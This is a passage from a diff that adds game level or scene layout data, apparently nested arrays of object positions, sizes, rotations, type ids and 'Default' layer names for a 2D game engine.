+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5250,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3878,
+ 624,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954,
+ 624,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5252,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3955,
+ 546,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956,
+ 467,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5254,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956,
+ 388,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3957,
+ 309,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3957,
+ 230,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958,
+ 152,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3958,
+ 73,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959,
+ -5,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1684,
+ 1651,
+ 0,
+ 140,
+ 138,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 386,
+ 768,
+ [],
+ [
+ [
+ 0,
+ 2,
+ 0,
+ 0.5,
+ 1,
+ 0,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1683,
+ 1651,
+ 0,
+ 121.3048629760742,
+ 121.3048629760742,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 403,
+ 860,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1557,
+ 675,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 5278,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 327,
+ 841,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5279,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900.091796875,
+ 466.3648071289063,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5290,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900.856201171875,
+ 389.3250732421875,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5291,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3902.384765625,
+ 309.9959716796875,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5292,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4165.505859375,
+ 1101,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 5293,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4272.505859375,
+ 1101,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 5294,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4219.505859375,
+ 1101,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 5295,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3898,
+ 1092,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 5296,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4146,
+ 1092,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 5297,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4395,
+ 1092,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 5298,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4219.505859375,
+ 1086,
+ 0,
+ 170,
+ 57,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 389,
+ 5299,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 8,
+ 0,
+ 0,
+ 0,
+ -140,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4585.83740234375,
+ 1056.261596679688,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5300,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4712.83740234375,
+ 986.2615966796875,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5301,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1582,
+ 319,
+ 0,
+ 73,
+ 549,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 664,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3876.736328125,
+ 625.9971923828125,
+ 0,
+ 84.99432373046875,
+ 229.527099609375,
+ 0,
+ 1.570796370506287,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 673,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954.402099609375,
+ 274.448486328125,
+ 0,
+ 77,
+ 627.7987060546875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 674,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1427,
+ 392,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 675,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1580,
+ 558,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5272,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1581,
+ 479,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5273,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1581,
+ 400,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5274,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1582,
+ 322,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5275,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1582,
+ 243,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5276,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1583,
+ 165,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5277,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1584,
+ 86,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 657,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2564.5,
+ 1343,
+ 0,
+ 5311,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 705,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1995,
+ 1186,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 587,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1840,
+ 1172,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 598,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ -5,
+ 924,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 61,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -5,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 87,
+ 924,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 179,
+ 924,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 271,
+ 924,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 87,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 179,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 594,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 271,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -5,
+ 1114,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 87,
+ 1114,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 599,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 179,
+ 1114,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 600,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 271,
+ 1114,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 603,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -5,
+ 1208,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 604,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 87,
+ 1208,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 605,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 179,
+ 1208,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 611,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 271,
+ 1208,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 617,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 363.0052185058594,
+ 924.4637451171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 608,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 455.0052185058594,
+ 924.4637451171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 609,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 363.0052185058594,
+ 1020.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 612,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 455.0052185058594,
+ 1020.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 619,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 363.0052185058594,
+ 1114.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 620,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 455.0052185058594,
+ 1114.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 621,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 363.0052185058594,
+ 1208.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 623,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 455.0052185058594,
+ 1208.463745117188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 624,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 721,
+ 853,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 625,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 931,
+ 756,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 626,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1140,
+ 638,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 628,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -190,
+ 1247,
+ 0,
+ 94.343994140625,
+ 308.1423950195313,
+ 0,
+ 2.1118483543396,
+ 0.6000000238418579,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 630,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1256.89306640625,
+ 899.7401123046875,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 631,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1486,
+ 789,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1486,
+ 885,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 638,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1486,
+ 979,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 647,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1486,
+ 1073,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 650,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1578,
+ 789,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 652,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670,
+ 789,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 653,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1578,
+ 885,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 654,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670,
+ 885,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 655,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1578,
+ 979,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 658,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670,
+ 979,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 659,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1578,
+ 1073,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 660,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670,
+ 1073,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1584,
+ 9,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 665,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504,
+ 558,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 666,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1428,
+ 558,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 667,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1351,
+ 558,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 668,
+ [],
+ [],
+ [
+ 0,
+ "Default",
